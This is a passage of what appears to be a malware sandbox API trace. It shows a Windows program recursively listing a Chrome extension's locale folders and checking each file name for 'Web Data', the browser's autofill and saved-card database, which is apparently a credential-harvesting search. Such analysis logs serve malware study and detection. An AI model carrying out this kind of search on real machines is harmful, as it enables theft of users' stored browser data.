IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*.*" [0056.440] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.440] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.440] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.440] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.440] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.440] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.440] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.440] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.440] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.440] LocalFree (hMem=0x2e0320) returned 0x0 [0056.440] LocalFree (hMem=0x2e0210) returned 0x0 [0056.440] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.440] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0056.440] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0056.440] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.440] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.440] lstrlenA (lpString="\\") returned 1 [0056.440] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.440] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.440] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.440] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.440] lstrlenA (lpString="fr") returned 2 [0056.440] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.440] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.440] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" [0056.440] LocalFree (hMem=0x2e0100) returned 0x0 [0056.440] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned 131 [0056.440] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned 131 [0056.440] lstrlenA (lpString="\\*.*") returned 4 [0056.440] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.440] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr" [0056.440] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*.*" [0056.440] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.440] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.440] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.440] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.440] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.440] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.440] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.440] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.441] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.441] LocalFree (hMem=0x2e0100) returned 0x0 [0056.441] LocalFree (hMem=0x2e0210) returned 0x0 [0056.441] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.441] lstrcmpiA (lpString1=".", lpString2="fr_CA") returned -1 [0056.441] lstrcmpiA (lpString1="..", lpString2="fr_CA") returned -1 [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.441] lstrlenA (lpString="\\") returned 1 [0056.441] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.441] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.441] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.441] lstrlenA (lpString="fr_CA") returned 5 [0056.441] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2e0210 [0056.441] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.441] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="fr_CA" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" [0056.441] LocalFree (hMem=0x2e0100) returned 0x0 [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned 134 [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned 134 [0056.441] lstrlenA (lpString="\\*.*") returned 4 [0056.441] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x2e0320 [0056.441] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA" [0056.441] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*.*" [0056.441] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fr_CA\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.441] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.441] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.441] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.441] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.441] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.441] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.441] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.441] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.441] LocalFree (hMem=0x2e0320) returned 0x0 [0056.441] LocalFree (hMem=0x2e0210) returned 0x0 [0056.441] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.441] lstrcmpiA (lpString1=".", lpString2="gl") returned -1 [0056.441] lstrcmpiA (lpString1="..", lpString2="gl") returned -1 [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.441] lstrlenA (lpString="\\") returned 1 [0056.441] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.441] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.441] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.441] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.441] lstrlenA (lpString="gl") returned 2 [0056.442] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.442] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.442] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="gl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl" [0056.442] LocalFree (hMem=0x2e0100) returned 0x0 [0056.442] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl") returned 131 [0056.442] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl") returned 131 [0056.442] lstrlenA (lpString="\\*.*") returned 4 [0056.442] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.442] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl" [0056.442] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*.*" [0056.442] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.442] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.442] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.442] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.442] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.442] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.442] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.442] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.442] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.442] LocalFree (hMem=0x2e0100) returned 0x0 [0056.442] LocalFree (hMem=0x2e0210) returned 0x0 [0056.442] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.442] lstrcmpiA (lpString1=".", lpString2="gu") returned -1 [0056.442] lstrcmpiA (lpString1="..", lpString2="gu") returned -1 [0056.442] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.442] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.442] lstrlenA (lpString="\\") returned 1 [0056.442] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.442] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.442] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.442] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.442] lstrlenA (lpString="gu") returned 2 [0056.442] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.442] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.442] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="gu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu" [0056.442] LocalFree (hMem=0x2e0100) returned 0x0 [0056.442] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu") returned 131 [0056.442] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu") returned 131 [0056.442] lstrlenA (lpString="\\*.*") returned 4 [0056.442] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.442] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu" [0056.442] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*.*" [0056.442] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.443] lstrcmpiA (lpString1=".", 